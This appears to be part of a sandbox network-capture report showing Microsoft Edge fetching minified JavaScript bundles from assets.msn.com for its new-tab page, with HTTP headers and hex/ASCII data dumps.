2024-11-23 08:16:53 UTC	1234	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: HxbYbI6fIhdaRBln8Sc3OA== Last-Modified: Thu, 21 Nov 2024 21:45:21 GMT ETag: 0x8DD0A75CC92A95D Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 3f59ebcd-b01e-0085-2e5e-3c96a0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sat, 23 Nov 2024 08:16:53 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.136,b=60091704,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.136 Akamai-Request-ID: 394ed38 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.8804d217.1732349813.394ed38 Vary: Origin
2024-11-23 08:16:53 UTC	15150	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6d 69 63 72 6f 73 6f 66 74 2e 34 61 32 61 39 65 64 38 32 34 30 64 33 30 30 34 32 33 31 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6d 69 63 72 6f 73 6f 66 74 22 5d 2c 7b 36 33 31 36 35 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 65 2c 7b 5a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 41 7d 7d 29 3b 76 Data Ascii: 00006000/! For license information please see microsoft.4a2a9ed8240d3004231b.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["microsoft"],{63165:function(t,e,n){"use strict";n.d(e,{Z:function(){return A}});v
2024-11-23 08:16:53 UTC	9438	IN	Data Raw: 24 2c 6f 2e 48 44 2c 6f 2e 68 6a 2c 6f 2e 6a 6e 2c 6f 2e 6d 66 2c 6f 2e 6b 4a 2c 6f 2e 4b 6e 2c 6f 2e 6e 64 2c 72 2e 4d 46 2c 6f 2e 59 36 2c 72 2e 63 70 2c 73 2e 70 37 2c 73 2e 55 59 2c 6f 2e 6c 5f 2c 6c 2e 63 39 2c 6c 2e 49 62 2c 6f 2e 49 64 2c 6f 2e 72 57 2c 6f 2e 59 6d 2c 6f 2e 6f 38 2c 6f 2e 6c 65 2c 6f 2e 6e 72 2c 6f 2e 6d 66 2c 6f 2e 4b 6e 2c 6f 2e 4a 5f 2c 6f 2e 6b 4a 2c 6f 2e 56 5a 2c 6f 2e 48 44 2c 6f 2e 68 6a 2c 6f 2e 6a 6e 2c 6f 2e 59 36 2c 6f 2e 74 4f 2c 6f 2e 55 41 2c 6f 2e 4d 72 2c 6f 2e 58 7a 2c 6f 2e 6e 64 2c 64 2e 70 75 2c 6f 2e 46 59 2c 6f 2e 6c 5f 2c 6c 2e 49 62 2c 6f 2e 6d 36 2c 72 2e 77 31 2c 61 2e 47 57 2c 61 2e 4a 6a 2c 75 2e 70 5a 2c 75 2e 61 7a 2c 75 2e 5f 6c 2c 75 2e 43 4e 2c 75 2e 46 36 2c 61 2e 44 4f 3b 66 75 6e 63 74 69 6f 6e Data Ascii: $,o.HD,o.hj,o.jn,o.mf,o.kJ,o.Kn,o.nd,r.MF,o.Y6,r.cp,s.p7,s.UY,o.l_,l.c9,l.Ib,o.Id,o.rW,o.Ym,o.o8,o.le,o.nr,o.mf,o.Kn,o.J_,o.kJ,o.VZ,o.HD,o.hj,o.jn,o.Y6,o.tO,o.UA,o.Mr,o.Xz,o.nd,d.pu,o.FY,o.l_,l.Ib,o.m6,r.w1,a.GW,a.Jj,u.pZ,u.az,u._l,u.CN,u.F6,a.DO;function
2024-11-23 08:16:53 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 65 5b 72 2e 4d 57 5d 28 61 29 2c 31 3d 3d 3d 65 3f 74 5b 63 2e 79 73 5d 28 73 29 3a 74 5b 63 2e 63 4c 5d 28 73 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 74 2c 6e 29 7b 76 61 72 20 69 3d 28 30 2c 6f 2e 6a 29 28 65 7c 7c 7b 7d 29 3b 69 26 26 69 5b 72 2e 6d 63 5d 26 26 69 5b 72 2e 6d 63 5d 28 74 2c 6e 29 7d 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6e 3d 28 30 2c 61 2e 76 34 29 28 74 2e 6c 6f 67 67 69 6e 67 4c 65 76 65 6c 43 6f 6e 73 6f 6c 65 2c 30 29 2c 6c 3d 28 30 2c 61 2e 76 34 29 28 74 2e 6c 6f 67 67 69 6e 67 4c 65 76 65 6c 54 65 6c 65 6d 65 74 72 79 2c 31 29 2c 68 3d 28 30 2c 61 2e 76 34 29 28 74 2e 6d 61 78 4d 65 73 73 61 67 65 4c 69 6d 69 74 2c 32 35 29 2c 66 3d 28 30 2c 61 2e 76 34 29 28 74 5b 72 2e 46 72 5d 2c 21 31 29 Data Ascii: 00006000e[r.MW](a),1===e?t[c.ys](s):t[c.cL](s)}}}function v(t,n){var i=(0,o.j)(e\|\|{});i&&i[r.mc]&&i[r.mc](t,n)}!function(t){n=(0,a.v4)(t.loggingLevelConsole,0),l=(0,a.v4)(t.loggingLevelTelemetry,1),h=(0,a.v4)(t.maxMessageLimit,25),f=(0,a.v4)(t[r.Fr],!1)
2024-11-23 08:16:54 UTC	8204	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6f 2e 5f 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 65 26 26 65 2e 75 6e 6c 6f 61 64 28 61 2c 74 29 2c 21 65 7d 2c 61 5b 69 2e 7a 56 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 6e 75 6c 6c 29 2c 28 30 2c 73 2e 6b 4a 29 28 74 29 26 26 28 74 3d 62 28 74 2c 72 2c 65 2c 6e 29 29 2c 76 28 74 7c 7c 61 5b 69 2e 57 32 5d 28 29 2c 65 2c 6e 29 7d 2c 61 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 65 5b 69 2e 54 43 5d 7c 7c 7b 7d 2c 6f 3d 70 28 74 2c 72 2c 65 2c 6e 29 2e 63 74 78 3b 72 65 74 75 72 6e 20 6f 5b 69 2e 75 4c 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6f 2e 69 74 65 72 61 74 65 28 28 66 Data Ascii: unction(t){var e=o._next();return e&&e.unload(a,t),!e},a[i.zV]=function(t,n){return void 0===t&&(t=null),(0,s.kJ)(t)&&(t=b(t,r,e,n)),v(t\|\|a[i.W2](),e,n)},a}function m(t,e,n){var r=e[i.TC]\|\|{},o=p(t,r,e,n).ctx;return o[i.uL]=function(t){return o.iterate((f
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 65 3d 21 30 2c 6e 3d 21 30 2c 69 3d 21 30 2c 6f 3d 22 75 73 65 2d 63 6f 6c 6c 65 63 74 6f 72 2d 64 65 6c 74 61 22 2c 73 3d 21 31 3b 28 30 2c 72 2e 5a 29 28 74 2c 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 2c 74 2e 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 26 26 28 69 3d 21 31 2c 73 7c 7c 28 65 3d 21 31 29 29 7d 2c 74 2e 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 2c 74 Data Ascii: 00004000=function(){function t(){var e=!0,n=!0,i=!0,o="use-collector-delta",s=!1;(0,r.Z)(t,this,(function(t){t.allowRequestSending=function(){return e},t.firstRequestSent=function(){i&&(i=!1,s\|\|(e=!1))},t.shouldAddClockSkewHeaders=function(){return n},t
2024-11-23 08:16:54 UTC	12	IN	Data Raw: 69 6f 6e 28 29 7b 44 3d 6e 75 0d 0a Data Ascii: ion(){D=nu
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6c 6c 2c 4b 28 30 3d 3d 3d 4d 3f 33 3a 31 2c 30 2c 31 29 2c 4d 2b 2b 2c 4d 25 3d 32 2c 47 28 29 7d 29 2c 65 29 3a 4d 3d 30 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 29 7b 6e 3d 6e 75 6c 6c 2c 78 3d 21 31 2c 43 3d 5b 5d 2c 6b 3d 6e 75 6c 6c 2c 53 3d 21 31 2c 24 3d 30 2c 54 3d 35 30 30 2c 4c 3d 30 2c 4f 3d 31 65 34 2c 49 3d 7b 7d 2c 45 3d 70 2c 44 3d 6e 75 6c 6c 2c 52 3d 6e 75 6c 6c 2c 46 3d 30 2c 4d 3d 30 2c 66 3d 6e 75 6c 6c 2c 4e 3d 7b 7d 2c 76 3d 76 6f 69 64 20 30 2c 6d 3d 30 2c 6a 3d 2d 31 2c 62 3d 6e 75 6c 6c 2c 5f 3d 21 30 2c 7a 3d 21 31 2c 71 3d 36 2c 55 3d 32 2c 79 3d 6e 75 6c 6c 2c 77 3d 64 74 28 29 2c 67 3d 6e 65 77 20 63 74 28 35 30 30 2c 32 2c 31 2c 7b 72 65 71 75 65 75 65 3a 6c 74 2c 73 65 6e 64 3a 62 74 2c 73 65 6e Data Ascii: 00004000ll,K(0===M?3:1,0,1),M++,M%=2,G()}),e):M=0)}function X(){n=null,x=!1,C=[],k=null,S=!1,$=0,T=500,L=0,O=1e4,I={},E=p,D=null,R=null,F=0,M=0,f=null,N={},v=void 0,m=0,j=-1,b=null,_=!0,z=!1,q=6,U=2,y=null,w=dt(),g=new ct(500,2,1,{requeue:lt,send:bt,sen
2024-11-23 08:16:54 UTC	12	IN	Data Raw: 7b 61 3d 74 7d 7d 29 29 7d 72 0d 0a Data Ascii: {a=t}}))}r
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 65 74 75 72 6e 20 74 2e 63 6f 6f 6b 69 65 53 65 70 61 72 61 74 6f 72 3d 22 7c 22 2c 74 2e 75 73 65 72 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 61 69 5f 75 73 65 72 22 2c 74 2e 5f 73 74 61 74 69 63 49 6e 69 74 3d 76 6f 69 64 28 30 2c 73 2e 6c 5f 29 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 22 6c 6f 63 61 6c 49 64 22 2c 45 74 2c 44 74 29 2c 74 7d 28 29 2c 52 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 65 2e 70 6f 70 53 61 6d 70 6c 65 3d 31 30 30 2c 65 2e 65 76 65 6e 74 46 6c 61 67 73 3d 30 2c 74 2e 68 61 73 68 49 64 65 6e 74 69 66 69 65 72 73 26 26 28 65 2e 65 76 65 6e 74 46 6c 61 67 73 3d 31 30 34 38 35 37 36 7c 65 2e 65 76 65 6e 74 46 6c 61 67 73 29 2c 74 2e 64 72 6f 70 49 64 65 6e 74 69 66 69 65 72 73 Data Ascii: 00004000eturn t.cookieSeparator="\|",t.userCookieName="ai_user",t._staticInit=void(0,s.l_)(t.prototype,"localId",Et,Dt),t}(),Rt=function(t){var e=this;e.popSample=100,e.eventFlags=0,t.hashIdentifiers&&(e.eventFlags=1048576\|e.eventFlags),t.dropIdentifiers
2024-11-23 08:16:54 UTC	12	IN	Data Raw: 29 3d 3e 4d 61 74 68 2e 6d 69 0d 0a Data Ascii: )=>Math.mi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49862	23.209.72.25	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:53 UTC	626	OUT	GET /bundles/v1/edgeChromium/latest/common.070b7e2c0c11bf3433e5.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:16:53 UTC	1238	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: itko/yVH6O05iS5wLDykzA== Last-Modified: Fri, 22 Nov 2024 21:28:59 GMT ETag: 0x8DD0B3CAD953FDA Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: bb09feee-001e-0078-4225-3d5197000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sat, 23 Nov 2024 08:16:53 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.135,b=1152070541,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.135 Akamai-Request-ID: 44ab338d Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.8704d217.1732349813.44ab338d Vary: Origin
2024-11-23 08:16:53 UTC	15146	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 6f 6d 6d 6f 6e 22 5d 2c 7b 33 36 37 37 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 46 76 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 2c 67 51 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 7d 29 3b 63 6f 6e 73 74 20 69 3d 22 73 65 6c 65 63 74 65 64 4e 61 76 49 74 65 6d 43 6c 69 63 6b 65 64 22 3b 63 6c 61 73 73 20 72 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 74 68 69 73 2e 73 75 70 70 6f 72 74 Data Ascii: 00006000(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["common"],{36777:function(e,t,n){"use strict";n.d(t,{Fv:function(){return r},gQ:function(){return i}});const i="selectedNavItemClicked";class r{constructor(){this.support
2024-11-23 08:16:53 UTC	9442	IN	Data Raw: 67 65 55 52 4c 28 65 29 7b 76 61 72 20 74 2c 6e 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 68 69 73 2e 63 6f 6e 66 69 67 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 21 74 2e 64 61 74 61 5b 65 5d 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 63 6f 6e 73 74 20 69 3d 6e 75 6c 6c 3d 3d 3d 28 6e 3d 74 68 69 73 2e 63 6f 6e 66 69 67 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6e 3f 76 6f 69 64 20 30 3a 6e 2e 64 61 74 61 5b 65 5d 2e 69 6d 61 67 65 5b 60 69 24 7b 74 68 69 73 2e 63 75 72 72 65 6e 74 52 65 73 6f 6c 75 74 69 6f 6e 7d 60 5d 3b 72 65 74 75 72 6e 28 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 57 43 2e 63 6f 6e 66 69 67 2e 65 6e 61 62 6c 65 53 74 61 74 69 63 49 6d 61 67 65 73 3f 28 30 2c 44 2e 62 66 29 28 60 69 6d 61 67 65 24 7b 65 7d 60 29 3a 44 2e Data Ascii: geURL(e){var t,n;if(null===(t=this.config)\|\|void 0===t\|\|!t.data[e])return null;const i=null===(n=this.config)\|\|void 0===n?void 0:n.data[e].image[`i${this.currentResolution}`];return(this.backgroundImageWC.config.enableStaticImages?(0,D.bf)(`image${e}`):D.
2024-11-23 08:16:53 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 67 64 22 2c 7b 64 65 74 61 69 6c 3a 7b 69 73 4c 6f 77 45 6e 64 44 65 76 69 63 65 3a 21 31 7d 7d 29 29 2c 74 68 69 73 2e 69 73 46 52 45 26 26 74 68 69 73 2e 63 6f 6e 66 69 67 2e 64 69 73 61 62 6c 65 47 61 6c 6c 65 72 79 46 52 45 41 6e 64 4c 6f 77 45 6e 64 29 7b 74 68 69 73 2e 63 75 72 72 65 6e 74 50 72 6f 76 69 64 65 72 3d 22 46 52 45 42 61 63 6b 67 72 6f 75 6e 64 22 3b 62 72 65 61 6b 7d 69 66 28 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 47 61 6c 6c 65 72 79 45 6c 69 67 69 62 69 6c 69 74 79 26 26 74 68 69 73 2e 67 61 6c 6c 65 72 79 42 61 63 6b 67 72 6f 75 6e 64 53 65 6c 65 63 74 69 6f 6e 4d 65 74 61 64 61 74 61 29 7b 69 66 28 22 43 4d 53 49 6d 61 67 65 22 3d 3d 3d 74 68 69 73 2e 67 61 6c 6c 65 72 79 42 61 63 6b 67 72 6f 75 Data Ascii: 00006000gd",{detail:{isLowEndDevice:!1}})),this.isFRE&&this.config.disableGalleryFREAndLowEnd){this.currentProvider="FREBackground";break}if(this.backgroundGalleryEligibility&&this.galleryBackgroundSelectionMetadata){if("CMSImage"===this.galleryBackgrou
2024-11-23 08:16:54 UTC	8204	IN	Data Raw: 41 64 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 74 69 74 6c 65 2c 69 64 3a 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 68 69 73 2e 6d 61 72 71 75 65 65 41 64 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 63 6c 69 63 6b 54 68 72 6f 75 67 68 55 72 6c 7d 7d 29 2e 67 65 74 4d 65 74 61 64 61 74 61 54 61 67 28 29 2c 74 68 69 73 2e 74 65 6c 65 6d 65 74 72 79 54 61 67 73 2e 6d 61 72 71 75 65 65 41 64 43 54 41 42 75 74 74 6f 6e 3d 74 68 69 73 2e 74 65 6c 65 6d 65 74 72 79 4f 62 6a 65 63 74 2e 61 64 64 4f 72 55 70 64 61 74 65 43 68 69 6c 64 28 7b 6e 61 6d 65 3a 22 4d 61 72 71 75 65 65 41 64 43 54 41 42 75 74 74 6f 6e 22 2c 74 79 70 65 3a 54 2e 63 39 2e 49 6e 74 65 72 61 63 74 69 6f 6e 2c 62 65 68 61 76 69 6f 72 3a 54 2e 77 75 Data Ascii: Ad)\|\|void 0===e?void 0:e.title,id:null===(t=this.marqueeAd)\|\|void 0===t?void 0:t.clickThroughUrl}}).getMetadataTag(),this.telemetryTags.marqueeAdCTAButton=this.telemetryObject.addOrUpdateChild({name:"MarqueeAdCTAButton",type:T.c9.Interaction,behavior:T.wu
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3f 76 6f 69 64 20 30 3a 65 2e 70 72 6f 70 65 72 74 69 65 73 3b 69 66 28 28 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 6c 65 6e 67 74 68 29 3e 30 26 26 6e 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 65 29 7b 63 6f 6e 73 74 20 74 3d 22 45 72 72 6f 72 20 69 6e 20 67 65 74 74 69 6e 67 20 77 70 6f 20 65 76 65 6e 74 20 67 6c 65 61 6d 20 64 61 74 61 22 3b 28 30 2c 6f 2e 48 29 28 72 2e 4f 64 35 2c 74 2c 60 65 72 72 6f 72 3a 24 7b 65 7d 60 29 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 28 29 29 2c 74 68 69 73 2e 63 68 72 6f 6d 69 75 6d 50 61 67 65 53 65 74 74 69 6e 67 73 43 6f 6e 6e 65 63 74 6f 72 3d 28 30 2c 57 2e 4b 30 29 28 6c 2e 52 4c 29 2c 74 68 69 73 2e 69 73 44 61 72 6b 4d 6f 64 65 3d 28 30 2c 59 2e 59 29 28 29 2c 74 68 Data Ascii: 00004000?void 0:e.properties;if((null==t?void 0:t.length)>0&&n)return n}catch(e){const t="Error in getting wpo event gleam data";(0,o.H)(r.Od5,t,`error:${e}`)}return null}()),this.chromiumPageSettingsConnector=(0,W.K0)(l.RL),this.isDarkMode=(0,Y.Y)(),th
2024-11-23 08:16:54 UTC	12	IN	Data Raw: 63 6b 5f 4d 61 72 71 75 65 65 0d 0a Data Ascii: ck_Marquee
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 41 64 28 74 68 69 73 2e 72 65 66 5f 6d 61 72 71 75 65 65 41 64 53 70 6f 6e 73 6f 72 4c 6f 67 6f 29 7d 61 73 79 6e 63 20 6f 6e 43 6c 69 63 6b 5f 4d 61 72 71 75 65 65 41 64 28 65 29 7b 77 69 6e 64 6f 77 2e 6f 70 65 6e 28 74 68 69 73 2e 6d 61 72 71 75 65 65 41 64 2e 63 6c 69 63 6b 54 68 72 6f 75 67 68 55 72 6c 2c 22 5f 62 6c 61 6e 6b 22 29 2e 66 6f 63 75 73 28 29 2c 61 77 61 69 74 20 73 65 2e 6f 2e 73 65 6e 64 42 65 61 63 6f 6e 73 28 74 68 69 73 2e 6d 61 72 71 75 65 65 41 64 2e 61 64 43 6c 69 63 6b 65 64 55 72 6c 73 29 2c 6b 2e 4d 30 2e 73 65 6e 64 41 63 74 69 6f 6e 45 76 65 6e 74 28 65 2c 54 2e 41 77 2e 43 6c 69 63 6b 2c 54 2e 77 75 2e 4e 61 76 69 67 61 74 65 29 7d 67 65 74 53 74 79 6c 65 46 6f 72 45 6c 65 6d 65 6e 74 4b 65 79 Data Ascii: 00004000Ad(this.ref_marqueeAdSponsorLogo)}async onClick_MarqueeAd(e){window.open(this.marqueeAd.clickThroughUrl,"_blank").focus(),await se.o.sendBeacons(this.marqueeAd.adClickedUrls),k.M0.sendActionEvent(e,T.Aw.Click,T.wu.Navigate)}getStyleForElementKey
2024-11-23 08:16:54 UTC	12	IN	Data Raw: 6c 6f 72 3a 72 67 62 61 28 30 0d 0a Data Ascii: lor:rgba(0
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2c 30 2c 30 2c 30 2e 36 34 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 36 70 78 3b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 3b 68 65 69 67 68 74 3a 33 32 70 78 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 38 70 78 3b 77 69 64 74 68 3a 33 32 70 78 7d 2e 68 6f 74 53 70 6f 74 53 75 62 54 65 78 74 41 72 65 61 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 37 34 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 70 78 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 68 6f 74 53 70 6f 74 53 75 62 54 65 78 74 41 72 65 61 3a 68 6f 76 65 72 7b 6f 70 61 63 69 74 79 3a 31 7d 2e 68 6f 74 53 70 6f 74 54 65 78 74 41 72 65 61 7b 62 6f 72 64 65 72 2d 72 61 64 69 Data Ascii: 00004000,0,0,0.64);border-radius:16px;cursor:default;height:32px;margin-inline-end:8px;width:32px}.hotSpotSubTextArea{color:rgba(255,255,255,0.74);font-size:12px;line-height:16px;opacity:0}.hotSpotSubTextArea:hover{opacity:1}.hotSpotTextArea{border-radi
2024-11-23 08:16:54 UTC	12	IN	Data Raw: 79 6c 65 3d 74 68 69 73 2e 63 0d 0a Data Ascii: yle=this.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49863	23.209.72.25	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:53 UTC	630	OUT	GET /bundles/v1/edgeChromium/latest/experience.80ecb7588d9cda3b33a1.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:16:53 UTC	1237	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: b7kbCRWwEKJtwgSbViw16Q== Last-Modified: Fri, 22 Nov 2024 21:29:02 GMT ETag: 0x8DD0B3CAF973186 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: f4db3461-501e-0044-1925-3dd020000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sat, 23 Nov 2024 08:16:53 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.171,b=839151159,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.171 Akamai-Request-ID: 32046e37 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.ab04d217.1732349813.32046e37 Vary: Origin
